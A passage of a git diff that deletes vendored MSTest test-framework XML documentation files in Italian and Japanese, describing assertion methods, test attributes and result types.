nella raccolta specificata. - - - - - Trova un elemento senza corrispondenza tra le due raccolte. Per elemento - senza corrispondenza si intende un elemento che appare nella raccolta prevista - un numero di volte diverso rispetto alla raccolta effettiva. Si presuppone - che le raccolte siano riferimenti non Null diversi con lo stesso - numero di elementi. Il chiamante è responsabile di questo livello di - verifica. Se non ci sono elementi senza corrispondenza, la funzione - restituisce false e i parametri out non devono essere usati. - - - Prima raccolta da confrontare. - - - Seconda raccolta da confrontare. - - - Numero previsto di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Numero effettivo di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Elemento senza corrispondenza (può essere Null) o Null se non ci sono elementi - senza corrispondenza. - - - true se è stato trovato un elemento senza corrispondenza; in caso contrario, false. - - - - - confronta gli oggetti usando object.Equals - - - - - Classe di base per le eccezioni del framework. - - - - - Inizializza una nuova istanza della classe . - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Classe di risorse fortemente tipizzata per la ricerca di stringhe localizzate e così via. - - - - - Restituisce l'istanza di ResourceManager nella cache usata da questa classe. - - - - - Esegue l'override della proprietà CurrentUICulture del thread corrente per tutte - le ricerche di risorse eseguite usando questa classe di risorse fortemente tipizzata. - - - - - Cerca una stringa localizzata simile a La sintassi della stringa di accesso non è valida. - - - - - Cerca una stringa localizzata simile a La raccolta prevista contiene {1} occorrenza/e di <{2}>, mentre quella effettiva ne contiene {3}. {0}. - - - - - Cerca una stringa localizzata simile a È stato trovato un elemento duplicato:<{1}>. {0}. - - - - - Cerca una stringa localizzata simile a Il valore previsto è <{1}>, ma la combinazione di maiuscole/minuscole è diversa per il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza minore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1} ({2})>. Valore effettivo: <{3} ({4})>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza maggiore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È previsto un valore qualsiasi eccetto <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Non passare tipi valore a AreSame(). I valori convertiti in Object non saranno mai uguali. Usare AreEqual(). {0}. - - - - - Cerca una stringa localizzata simile a {0} non riuscita. {1}. - - - - - Cerca una stringa localizzata simile ad async TestMethod con UITestMethodAttribute non supportata. Rimuovere async o usare TestMethodAttribute. - - - - - Cerca una stringa localizzata simile a Le raccolte sono entrambe vuote. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. - - - - - Cerca una stringa localizzata simile a I riferimenti a raccolte puntano entrambi allo stesso oggetto Collection. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. {0}. - - - - - Cerca una stringa localizzata simile a {0}({1}). - - - - - Cerca una stringa localizzata simile a (Null). - - - - - Cerca una stringa localizzata simile a (oggetto). - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non contiene la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a {0} ({1}). - - - - - Cerca una stringa localizzata simile a Per le asserzioni non usare Assert.Equals, ma preferire Assert.AreEqual e gli overload. - - - - - Cerca una stringa localizzata simile a Il numero di elementi nelle raccolte non corrisponde. Valore previsto: <{1}>. Valore effettivo: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {0} non corrisponde. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} non è del tipo previsto. Tipo previsto: <{2}>. Tipo effettivo: <{3}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} è (Null). Tipo previsto: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non termina con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Argomento non valido: EqualsTester non può usare valori Null. - - - - - Cerca una stringa localizzata simile a Non è possibile convertire un oggetto di tipo {0} in {1}. - - - - - Cerca una stringa localizzata simile a L'oggetto interno a cui si fa riferimento non è più valido. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. {1}. - - - - - Cerca una stringa localizzata simile a Il tipo della proprietà {0} è {1}, ma quello previsto è {2}. - - - - - Cerca una stringa localizzata simile a Tipo previsto di {0}: <{1}>. Tipo effettivo: <{2}>. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Tipo errato: <{1}>. Tipo effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Non è stato specificato alcun elemento DataRowAttribute. Con DataTestMethodAttribute è necessario almeno un elemento DataRowAttribute. - - - - - Cerca una stringa localizzata simile a Non è stata generata alcuna eccezione. Era prevista un'eccezione {1}. {0}. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. Il valore non può essere Null. {1}. - - - - - Cerca una stringa localizzata simile a Il numero di elementi è diverso. - - - - - Cerca una stringa localizzata simile a - Il costruttore con la firma specificata non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a - Il membro specificato ({0}) non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non inizia con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Il tipo di eccezione previsto deve essere System.Exception o un tipo derivato da System.Exception. - - - - - Cerca una stringa localizzata simile a Non è stato possibile ottenere il messaggio per un'eccezione di tipo {0} a causa di un'eccezione. - - - - - Cerca una stringa localizzata simile a Il metodo di test non ha generato l'eccezione prevista {0}. {1}. - - - - - Cerca una stringa localizzata simile a Il metodo di test non ha generato un'eccezione. È prevista un'eccezione dall'attributo {0} definito nel metodo di test. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1}. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1} o un tipo derivato da essa. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a È stata generata l'eccezione {2}, ma era prevista un'eccezione {1}. {0} - Messaggio dell'eccezione: {3} - Analisi dello stack: {4}. - - - - - risultati degli unit test - - - - - Il test è stato eseguito, ma si sono verificati errori. - Gli errori possono implicare eccezioni o asserzioni non riuscite. - - - - - Il test è stato completato, ma non è possibile determinare se è stato o meno superato. - Può essere usato per test interrotti. - - - - - Il test è stato eseguito senza problemi. - - - - - Il test è attualmente in corso. - - - - - Si è verificato un errore di sistema durante il tentativo di eseguire un test. - - - - - Timeout del test. - - - - - Il test è stato interrotto dall'utente. - - - - - Il test si trova in uno stato sconosciuto - - - - - Fornisce la funzionalità di helper per il framework degli unit test - - - - - Ottiene i messaggi di eccezione in modo ricorsivo, inclusi quelli relativi a - tutte le eccezioni interne - - Eccezione per cui ottenere i messaggi - stringa con le informazioni sul messaggio di errore - - - - Enumerazione per i timeout, che può essere usata con la classe . - Il tipo dell'enumerazione deve corrispondere - - - - - Valore infinito. - - - - - Attributo della classe di test. - - - - - Ottiene un attributo di metodo di test che consente di eseguire questo test. - - Istanza di attributo del metodo di test definita in questo metodo. - Oggetto da usare per eseguire questo test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attributo del metodo di test. - - - - - Esegue un metodo di test. - - Metodo di test da eseguire. - Matrice di oggetti TestResult che rappresentano il risultato o i risultati del test. - Extensions can override this method to customize running a TestMethod. - - - - Attributo di inizializzazione test. - - - - - Attributo di pulizia dei test. - - - - - Attributo ignore. - - - - - Attributo della proprietà di test. - - - - - Inizializza una nuova istanza della classe . - - - Nome. - - - Valore. - - - - - Ottiene il nome. - - - - - Ottiene il valore. - - - - - Attributo di inizializzazione classi. - - - - - Attributo di pulizia delle classi. - - - - - Attributo di inizializzazione assembly. - - - - - Attributo di pulizia degli assembly. - - - - - Proprietario del test - - - - - Inizializza una nuova istanza della classe . - - - Proprietario. - - - - - Ottiene il proprietario. - - - - - Attributo Priority; usato per specificare la priorità di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Priorità. - - - - - Ottiene la priorità. - - - - - Descrizione del test - - - - - Inizializza una nuova istanza della classe per descrivere un test. - - Descrizione. - - - - Ottiene la descrizione di un test. - - - - - URI della struttura di progetto CSS - - - - - Inizializza una nuova istanza della classe per l'URI della struttura di progetto CSS. - - URI della struttura di progetto CSS. - - - - Ottiene l'URI della struttura di progetto CSS. - - - - - URI dell'iterazione CSS - - - - - Inizializza una nuova istanza della classe per l'URI dell'iterazione CSS. - - URI dell'iterazione CSS. - - - - Ottiene l'URI dell'iterazione CSS. - - - - - Attributo WorkItem; usato per specificare un elemento di lavoro associato a questo test. - - - - - Inizializza una nuova istanza della classe per l'attributo WorkItem. - - ID di un elemento di lavoro. - - - - Ottiene l'ID di un elemento di lavoro associato. - - - - - Attributo Timeout; usato per specificare il timeout di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Timeout. - - - - - Inizializza una nuova istanza della classe con un timeout preimpostato - - - Timeout - - - - - Ottiene il timeout. - - - - - Oggetto TestResult da restituire all'adattatore. - - - - - Inizializza una nuova istanza della classe . - - - - - Ottiene o imposta il nome visualizzato del risultato. Utile quando vengono restituiti più risultati. - Se è Null, come nome visualizzato viene usato il nome del metodo. - - - - - Ottiene o imposta il risultato dell'esecuzione dei test. - - - - - Ottiene o imposta l'eccezione generata quando il test non viene superato. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta le tracce di debug in base al codice del test. - - - - - Gets or sets the debug traces by test code. - - - - - Ottiene o imposta la durata dell'esecuzione dei test. - - - - - Ottiene o imposta l'indice della riga di dati nell'origine dati. Impostare solo per risultati di singole - esecuzioni della riga di dati di un test basato sui dati. - - - - - Ottiene o imposta il valore restituito del metodo di test. Attualmente è sempre Null. - - - - - Ottiene o imposta i file di risultati allegati dal test. - - - - - Specifica la stringa di connessione, il nome tabella e il metodo di accesso alle righe per test basati sui dati. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nome del provider predefinito per DataSource. - - - - - Metodo predefinito di accesso ai dati. - - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati, la stringa di connessione, la tabella dati e il metodo di accesso ai dati per accedere all'origine dati. - - Nome del provider di dati non dipendente da paese/area geografica, ad esempio System.Data.SqlClient - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - Specifica l'ordine per l'accesso ai dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con una stringa di connessione e un nome tabella. - Specificare la stringa di connessione e la tabella dati per accedere all'origine dati OLEDB. - - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati e la stringa di connessione associata al nome dell'impostazione. - - Nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - Ottiene un valore che rappresenta il provider di dati dell'origine dati. - - - Nome del provider di dati. Se non è stato designato un provider di dati durante l'inizializzazione dell'oggetto, verrà restituito il provider predefinito di System.Data.OleDb. - - - - - Ottiene un valore che rappresenta la stringa di connessione per l'origine dati. - - - - - Ottiene un valore che indica il nome della tabella che fornisce i dati. - - - - - Ottiene il metodo usato per accedere all'origine dati. - - - - Uno dei valori di . Se non è inizializzato, restituirà il valore predefinito . - - - - - Ottiene il nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - - Attributo per il test basato sui dati in cui è possibile specificare i dati inline. - - - - - Trova tutte le righe di dati e le esegue. - - - Metodo di test. - - - Matrice di istanze di . - - - - - Esegue il metodo di test basato sui dati. - - Metodo di test da eseguire. - Riga di dati. - Risultati dell'esecuzione. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index c863ca9c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - テスト配置ごとに配置項目 (ファイルまたはディレクトリ) を指定するために使用されます。 - テスト クラスまたはテスト メソッドで指定できます。 - 属性に複数のインスタンスを指定して、2 つ以上の項目を指定することができます。 - 項目のパスには絶対パスまたは相対パスを指定できます。相対パスの場合は、RunConfig.RelativePathRoot からの相対パスです。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - クラスの新しいインスタンスを初期化します。 - - 配置するファイルまたはディレクトリ。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - - - - クラスの新しいインスタンスを初期化する - - 配置するファイルまたはディレクトリへの相対パスまたは絶対パス。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - アイテムのコピー先のディレクトリのパス。配置ディレクトリへの絶対パスまたは相対パスのいずれかを指定できます。次で識別されるすべてのファイルとディレクトリは このディレクトリにコピーされます。 - - - - コピーするソース ファイルまたはフォルダーのパスを取得します。 - - - - - 項目のコピー先のディレクトリのパスを取得します。 - - - - - TestContext クラス。このクラスは完全に抽象的でなければならず、かつメンバー - を含んでいてはなりません。アダプターはメンバーを実装します。フレームワーク内のユーザーは - 正しく定義されたインターフェイスを介してのみこのクラスにアクセスする必要があります。 - - - - - テストのテスト プロパティを取得します。 - - - - - 現在実行中のテスト メソッドを含むクラスの完全修飾名を取得する - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 現在実行中のテスト メソッドの名前を取得する - - - - - 現在のテスト成果を取得します。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 922b5b17..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 実行用の TestMethod。 - - - - - テスト メソッドの名前を取得します。 - - - - - テスト クラスの名前を取得します。 - - - - - テスト メソッドの戻り値の型を取得します。 - - - - - テスト メソッドのパラメーターを取得します。 - - - - - テスト メソッドの methodInfo を取得します。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - テスト メソッドを呼び出します。 - - - テスト メソッドに渡す引数。(データ ドリブンの場合など) - - - テスト メソッド呼び出しの結果。 - - - This call handles asynchronous test methods as well. - - - - - テスト メソッドのすべての属性を取得します。 - - - 親クラスで定義されている属性が有効かどうか。 - - - すべての属性。 - - - - - 特定の型の属性を取得します。 - - System.Attribute type. - - 親クラスで定義されている属性が有効かどうか。 - - - 指定した種類の属性。 - - - - - ヘルパー。 - - - - - null でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws argument null exception when parameter is null. - - - - null または空でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws ArgumentException when parameter is null. - - - - データ ドリブン テストのデータ行にアクセスする方法の列挙型。 - - - - - 行は順番に返されます。 - - - - - 行はランダムに返されます。 - - - - - テスト メソッドのインライン データを定義する属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - - - - 引数の配列を受け入れる クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - 追加のデータ。 - - - - テスト メソッドを呼び出すデータを取得します。 - - - - - カスタマイズするために、テスト結果の表示名を取得または設定します。 - - - - - assert inconclusive 例外。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - InternalTestFailureException クラス。テスト ケースの内部エラーを示すために使用されます - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 指定した型の例外を予期するよう指定する属性 - - - - - 予期される型を指定して、 クラスの新しいインスタンスを初期化する - - 予期される例外の型 - - - - 予期される型と、テストで例外がスローされない場合に含めるメッセージとを指定して - クラスの新しいインスタンスを初期化します。 - - 予期される例外の型 - - 例外がスローされなかったことが原因でテストが失敗した場合に、テスト結果に含まれるメッセージ - - - - - 予期される例外の型を示す値を取得する - - - - - 予期される例外の型から派生した型を予期される型として使用できるかどうかを示す値を - 取得または設定する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 単体テストでスローされる例外の型が予期される型であることを検証する - - 単体テストでスローされる例外 - - - - 単体テストからの例外を予期するように指定する属性の基底クラス - - - - - 既定の例外なしメッセージを指定して クラスの新しいインスタンスを初期化する - - - - - 例外なしメッセージを指定して クラスの新しいインスタンスを初期化します - - - 例外がスローされなかったことが原因でテストが失敗した場合に、 - テスト結果に含まれるメッセージ - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 既定の例外なしメッセージを取得する - - ExpectedException 属性の型名 - 既定の例外なしメッセージ - - - - 例外が予期されているかどうかを判断します。メソッドが戻る場合は、 - 例外が予期されていたと解釈されます。メソッドが例外をスローする場合は、 - 例外が予期されていなかったと解釈され、スローされた例外のメッセージが - テスト結果に含められます。便宜上、 クラスを使用できます。 - が使用され、アサーションが失敗すると、 - テスト成果は [結果不確定] に設定されます。 - - 単体テストでスローされる例外 - - - - AssertFailedException または AssertInconclusiveException である場合に、例外を再スローする - - アサーション例外である場合に再スローされる例外 - - - - このクラスは、ジェネリック型を使用する型の単体テストを実行するユーザーを支援するように設計されています。 - GenericParameterHelper は、次のようないくつかの共通ジェネリック型制約を - 満たしています: - 1. パブリックの既定のコンストラクター - 2. 共通インターフェイスを実装します: IComparable、IEnumerable - - - - - C# ジェネリックの 'newable' 制約を満たす - クラスの新しいインスタンスを初期化します。 - - - This constructor initializes the Data property to a random value. - - - - - Data プロパティをユーザー指定の値に初期化する クラスの - 新しいインスタンスを初期化します。 - - 任意の整数値 - - - - データを取得または設定する - - - - - 2 つの GenericParameterHelper オブジェクトの値の比較を実行する - - 次との比較を実行するオブジェクト - オブジェクトの値が 'this' GenericParameterHelper オブジェクトと同じ値である場合は true。 - それ以外の場合は、false。 - - - - このオブジェクトのハッシュコードを返します。 - - ハッシュ コード。 - - - - 2 つの オブジェクトのデータを比較します。 - - 比較対象のオブジェクト。 - - このインスタンスと値の相対値を示す符号付きの数値。 - - - Thrown when the object passed in is not an instance of . - - - - - 長さが Data プロパティから派生している IEnumerator オブジェクト - を返します。 - - IEnumerator オブジェクト - - - - 現在のオブジェクトに相当する GenericParameterHelper - オブジェクトを返します。 - - 複製されたオブジェクト。 - - - - ユーザーが診断用に単体テストからトレースをログ記録/書き込みできるようにします。 - - - - - LogMessage のハンドラー。 - - ログに記録するメッセージ。 - - - - リッスンするイベント。単体テスト ライターがメッセージを書き込むときに発生します。 - 主にアダプターによって消費されます。 - - - - - テスト ライターがメッセージをログ記録するために呼び出す API。 - - プレースホルダーを含む文字列形式。 - プレースホルダーのパラメーター。 - - - - TestCategory 属性。単体テストのカテゴリを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化し、カテゴリをテストに適用します。 - - - テスト カテゴリ。 - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - "Category" 属性の基底クラス - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - クラスの新しいインスタンスを初期化します。 - カテゴリをテストに適用します。TestCategories で返される文字列は - テストをフィルター処理する /category コマンドで使用されます - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - AssertFailedException クラス。テスト ケースのエラーを示すために使用されます - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 単体テスト内のさまざまな条件をテストするヘルパー クラスの - コレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - Assert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is false. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is true. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null. - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not refer to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if refers to the same object - as . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is not equal to . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - 